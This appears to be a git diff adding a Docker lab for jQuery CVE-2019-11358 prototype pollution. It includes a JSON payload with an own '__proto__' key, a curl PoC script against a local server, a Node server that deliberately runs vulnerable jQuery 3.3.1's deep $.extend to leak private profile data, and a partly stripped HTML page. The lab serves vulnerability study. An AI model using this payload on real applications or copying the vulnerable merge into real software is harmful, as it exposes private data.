+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
+ "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==",
+ "license": "BSD-2-Clause",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/whatwg-encoding": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",
+ "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==",
+ "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation",
+ "license": "MIT",
+ "dependencies": {
+ "iconv-lite": "0.6.3"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/whatwg-mimetype": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",
+ "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/whatwg-url": {
+ "version": "14.2.0",
+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",
+ "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==",
+ "dependencies": {
+ "tr46": "^5.1.0",
+ "webidl-conversions": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/ws": {
+ "version": "8.21.0",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz",
+ "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=10.0.0"
+ },
+ "peerDependencies": {
+ "bufferutil": "^4.0.1",
+ "utf-8-validate": ">=5.0.2"
+ },
+ "peerDependenciesMeta": {
+ "bufferutil": {
+ "optional": true
+ },
+ "utf-8-validate": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/xml-name-validator": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
+ "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==",
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/xmlchars": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
+ "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
+ "license": "MIT"
+ }
+ }
+}
diff --git a/jQuery/CVE-2019-11358/package.json b/jQuery/CVE-2019-11358/package.json
new file mode 100644
index 000000000..3916e0089
--- /dev/null
+++ b/jQuery/CVE-2019-11358/package.json
@@ -0,0 +1,13 @@
+{
+ "name": "kr-vulhub-cve-2019-11358",
+ "version": "1.0.0",
+ "private": true,
+ "type": "module",
+ "description": "Docker lab for jQuery CVE-2019-11358 prototype pollution",
+ "engines": {
+ "node": ">=20"
+ },
+ "dependencies": {
+ "jsdom": "26.1.0"
+ }
+}
diff --git a/jQuery/CVE-2019-11358/poc.json b/jQuery/CVE-2019-11358/poc.json
new file mode 100644
index 000000000..979abece5
--- /dev/null
+++ b/jQuery/CVE-2019-11358/poc.json
@@ -0,0 +1,8 @@
+{
+ "name": "guest",
+ "bio": "public profile",
+ "__proto__": {
+ "includePrivate": true,
+ "polluted": "CVE-2019-11358"
+ }
+}
diff --git a/jQuery/CVE-2019-11358/poc.sh b/jQuery/CVE-2019-11358/poc.sh
new file mode 100644
index 000000000..fb91fcee8
--- /dev/null
+++ b/jQuery/CVE-2019-11358/poc.sh
@@ -0,0 +1,19 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+BASE_URL="${BASE_URL:-http://127.0.0.1:3000}"
+SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
+
+echo '[1/3] Reset lab state'
+curl -fsS -X POST "$BASE_URL/api/reset"
+echo
+
+echo '[2/3] Store the profile containing an own __proto__ property'
+curl -fsS -X POST "$BASE_URL/api/profile" \
+ -H 'Content-Type: application/json' \
+ --data-binary "@$SCRIPT_DIR/poc.json"
+echo
+
+echo '[3/3] Trigger the vulnerable deep merge and print the result'
+curl -fsS "$BASE_URL/api/profile/export"
+echo
diff --git a/jQuery/CVE-2019-11358/public/app.js b/jQuery/CVE-2019-11358/public/app.js
new file mode 100644
index 000000000..0cd364854
--- /dev/null
+++ b/jQuery/CVE-2019-11358/public/app.js
@@ -0,0 +1,83 @@
+"use strict";
+
+const form = document.querySelector("#profile-form");
+const exportButton = document.querySelector("#export-button");
+const resetButton = document.querySelector("#reset-button");
+const statusElement = document.querySelector("#status");
+const resultElement = document.querySelector("#result");
+const versionElement = document.querySelector("#jquery-version");
+
+function showResult(status, data) {
+ statusElement.textContent = status;
+ resultElement.textContent = JSON.stringify(data, null, 2);
+}
+
+async function requestJson(url, options = {}) {
+ const response = await fetch(url, options);
+ const data = await response.json();
+
+ if (!response.ok) {
+ throw new Error(data.error || `HTTP ${response.status}`);
+ }
+
+ return data;
+}
+
+async function loadVersion() {
+ try {
+ const data = await requestJson("/healthz");
+ versionElement.textContent = data.jqueryVersion;
+ } catch (error) {
+ versionElement.textContent = "확인 실패";
+ showResult("서버 확인 실패", { error: error.message });
+ }
+}
+
+form.addEventListener("submit", async (event) => {
+ event.preventDefault();
+
+ const profile = {
+ name: document.querySelector("#name").value,
+ bio: document.querySelector("#bio").value
+ };
+
+ try {
+ const data = await requestJson("/api/profile", {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json"
+ },
+ body: JSON.stringify(profile)
+ });
+ showResult("프로필을 저장했습니다.", data);
+ } catch (error) {
+ showResult("저장 실패", { error: error.message });
+ }
+});
+
+exportButton.addEventListener("click", async () => {
+ try {
+ const data = await requestJson("/api/profile/export");
+ showResult(
+ data.privateDataExposed
+ ? "비공개 정보가 공개 응답에 포함되었습니다."
+ : "공개 프로필만 반환되었습니다.",
+ data
+ );
+ } catch (error) {
+ showResult("공개 프로필 확인 실패", { error: error.message });
+ }
+});
+
+resetButton.addEventListener("click", async () => {
+ try {
+ const data = await requestJson("/api/reset", { method: "POST" });
+ document.querySelector("#name").value = "guest";
+ document.querySelector("#bio").value = "기본 공개 프로필입니다.";
+ showResult("초기화했습니다.", data);
+ } catch (error) {
+ showResult("초기화 실패", { error: error.message });
+ }
+});
+
+loadVersion();
diff --git a/jQuery/CVE-2019-11358/public/index.html b/jQuery/CVE-2019-11358/public/index.html
new file mode 100644
index 000000000..df781f95f
--- /dev/null
+++ b/jQuery/CVE-2019-11358/public/index.html
@@ -0,0 +1,34 @@
+
+
+
jQuery version: 확인 중
+ + + ++ + +
+ +대기 중
+ + + + + diff --git a/jQuery/CVE-2019-11358/server.mjs b/jQuery/CVE-2019-11358/server.mjs new file mode 100644 index 000000000..02310cecb --- /dev/null +++ b/jQuery/CVE-2019-11358/server.mjs @@ -0,0 +1,281 @@ +import http from "node:http"; +import { readFile } from "node:fs/promises"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; +import { JSDOM } from "jsdom"; + +const __filename = fileURLToPath(import.meta.url); +const __dirname = path.dirname(__filename); + +const HOST = "0.0.0.0"; +const PORT = 3000; +const MAX_BODY_BYTES = 16 * 1024; + +const DEFAULT_PROFILE = Object.freeze({ + name: "guest", + bio: "기본 공개 프로필입니다." +}); + +const PRIVATE_PROFILE = Object.freeze({ + email: "guest@example.local", + reviewNote: "internal-only: 신규 계정 검토 필요" +}); + +const DEFAULT_PROFILE_TEXT = JSON.stringify(DEFAULT_PROFILE); +let storedProfileText = DEFAULT_PROFILE_TEXT; + +const [jquerySource, expectedJqueryVersion, indexHtml, appJavaScript] = + await Promise.all([ + readFile(path.join(__dirname, "runtime", "jquery.js"), "utf8"), + readFile(path.join(__dirname, "runtime", "jquery.version"), "utf8"), + readFile(path.join(__dirname, "public", "index.html"), "utf8"), + readFile(path.join(__dirname, "public", "app.js"), "utf8") + ]); + +const dom = new JSDOM("", { + runScripts: "outside-only", + url: "http://profile-service.local/" +}); + +dom.window.eval(jquerySource); +const $ = dom.window.jQuery; +const jqueryVersion = expectedJqueryVersion.trim(); + +if (!$ || typeof $.extend !== "function") { + throw new Error("jQuery 초기화에 실패했습니다."); +} + +if ($.fn.jquery !== jqueryVersion) { + throw new Error( + `빌드 버전(${jqueryVersion})과 실행 버전(${$.fn.jquery})이 다릅니다.` + ); +} + +const BASE_HEADERS = { + "Cache-Control": "no-store", + "X-Content-Type-Options": "nosniff" +}; + +function sendText(res, statusCode, contentType, body, extraHeaders = {}) { + res.writeHead(statusCode, { + ...BASE_HEADERS, + ...extraHeaders, + "Content-Type": contentType, + "Content-Length": Buffer.byteLength(body) + }); + res.end(body); +} + +function sendJson(res, statusCode, value) { + sendText( + res, + statusCode, + "application/json; charset=utf-8", + `${JSON.stringify(value, null, 2)}\n` + ); +} + +async function readRequestBody(req) { + const chunks = []; + let total = 0; + + for await (const chunk of req) { + total += chunk.length; + if (total > MAX_BODY_BYTES) { + const error = new Error("요청 본문은 16 KiB 이하여야 합니다."); + error.statusCode = 413; + throw error; + } + chunks.push(chunk); + } + + return Buffer.concat(chunks).toString("utf8"); +} + +function parseJsonObject(rawText) { + let parsed; + + try { + parsed = JSON.parse(rawText); + } catch { + const error = new Error("유효한 JSON 객체가 아닙니다."); + error.statusCode = 400; + throw error; + } + + if (parsed === null || Array.isArray(parsed) || typeof parsed !== "object") { + const error = new Error("JSON 최상위 값은 객체여야 합니다."); + error.statusCode = 400; + throw error; + } + + return parsed; +} + +function hasOwn(object, key) { + return Object.prototype.hasOwnProperty.call(object, key); +} + +function clearLabPollution() { + delete Object.prototype.includePrivate; + delete Object.prototype.polluted; +} + +function createPublicProfile(profile, exportPolicy) { + const output = { + name: typeof profile.name === "string" ? profile.name : "", + bio: typeof profile.bio === "string" ? profile.bio : "" + }; + + if (exportPolicy.includePrivate === true) { + output.private = { ...PRIVATE_PROFILE }; + } + + return output; +} + +const server = http.createServer(async (req, res) => { + try { + const url = new URL(req.url ?? "/", `http://${req.headers.host ?? "localhost"}`); + + if (req.method === "GET" && url.pathname === "/") { + sendText( + res, + 200, + "text/html; charset=utf-8", + indexHtml, + { + "Content-Security-Policy": + "default-src 'none'; script-src 'self'; connect-src 'self'; base-uri 'none'; form-action 'self'" + } + ); + return; + } + + if (req.method === "GET" && url.pathname === "/app.js") { + sendText( + res, + 200, + "text/javascript; charset=utf-8", + appJavaScript + ); + return; + } + + if (req.method === "GET" && url.pathname === "/healthz") { + sendJson(res, 200, { status: "ok", jqueryVersion: $.fn.jquery }); + return; + } + + if (req.method === "POST" && url.pathname === "/api/reset") { + clearLabPollution(); + storedProfileText = DEFAULT_PROFILE_TEXT; + sendJson(res, 200, { + reset: true, + jqueryVersion: $.fn.jquery + }); + return; + } + + if (req.method === "POST" && url.pathname === "/api/profile") { + const contentType = String(req.headers["content-type"] ?? "").toLowerCase(); + if (!contentType.startsWith("application/json")) { + sendJson(res, 415, { + error: "Content-Type은 application/json이어야 합니다." + }); + return; + } + + const rawBody = await readRequestBody(req); + const parsed = parseJsonObject(rawBody); + + // 문자열 원문을 보관해 JSON.parse 시 own '__proto__' 속성을 유지한다. + storedProfileText = rawBody.trim(); + + sendJson(res, 200, { + saved: true, + sourceHasOwnProto: hasOwn(parsed, "__proto__") + }); + return; + } + + if (req.method === "GET" && url.pathname === "/api/profile/export") { + if (Object.prototype.includePrivate !== undefined) { + sendJson(res, 409, { + error: "이미 오염된 상태입니다. 초기화 후 다시 실행하세요." + }); + return; + } + + const sourceProfile = parseJsonObject(storedProfileText); + const sourceHasOwnProto = hasOwn(sourceProfile, "__proto__"); + + const before = { + objectPrototypeIncludePrivate: null + }; + + // CVE-2019-11358의 실제 취약 지점이다. + const mergedProfile = $.extend(true, {}, DEFAULT_PROFILE, sourceProfile); + + // 프로필 입력과 별도로 생성되는 내보내기 정책 객체다. + const exportPolicy = {}; + const exportedProfile = createPublicProfile(mergedProfile, exportPolicy); + + const after = { + objectPrototypeIncludePrivate: + Object.prototype.includePrivate === undefined + ? null + : Object.prototype.includePrivate, + objectPrototypePolluted: + Object.prototype.polluted === undefined + ? null + : Object.prototype.polluted, + exportPolicyHasOwnIncludePrivate: hasOwn( + exportPolicy, + "includePrivate" + ), + exportPolicyInheritedIncludePrivate: + exportPolicy.includePrivate === undefined + ? null + : exportPolicy.includePrivate + }; + + const privateDataExposed = hasOwn(exportedProfile, "private"); + const vulnerable = + sourceHasOwnProto === true && + after.objectPrototypeIncludePrivate === true && + after.exportPolicyHasOwnIncludePrivate === false && + after.exportPolicyInheritedIncludePrivate === true && + privateDataExposed === true; + + sendJson(res, 200, { + result: vulnerable ? "VULNERABLE" : "NOT_VULNERABLE", + jqueryVersion: $.fn.jquery, + privateDataExposed, + exportedProfile, + evidence: { + sourceHasOwnProto, + before, + after + } + }); + return; + } + + sendJson(res, 404, { error: "Not Found" }); + } catch (error) { + const statusCode = Number(error?.statusCode) || 500; + sendJson(res, statusCode, { + error: statusCode === 500 ? "Internal Server Error" : String(error.message) + }); + + if (statusCode === 500) { + console.error(error); + } + } +}); + +server.listen(PORT, HOST, () => { + console.log(`Open in browser: http://127.0.0.1:${PORT}`); + console.log(`jQuery version: ${$.fn.jquery}`); +}); diff --git a/jQuery/CVE-2019-11358/vendor/LICENSE-jquery.txt b/jQuery/CVE-2019-11358/vendor/LICENSE-jquery.txt new file mode 100644 index 000000000..e4e5e00ef --- /dev/null +++ b/jQuery/CVE-2019-11358/vendor/LICENSE-jquery.txt @@ -0,0 +1,36 @@ +Copyright JS Foundation and other contributors, https://js.foundation/ + +This software consists of voluntary contributions made by many +individuals. For exact contribution history, see the revision history +available at https://github.com/jquery/jquery + +The following license applies to all parts of this software except as +documented below: + +==== + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +==== + +All files located in the node_modules and external directories are +externally maintained libraries used by this software which have their +own licenses; we recommend you read them, as their terms may differ from +the terms above. diff --git a/jQuery/CVE-2019-11358/vendor/jquery-3.3.1.min.js b/jQuery/CVE-2019-11358/vendor/jquery-3.3.1.min.js new file mode 100644 index 000000000..4d9b3a258 --- /dev/null +++ b/jQuery/CVE-2019-11358/vendor/jquery-3.3.1.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n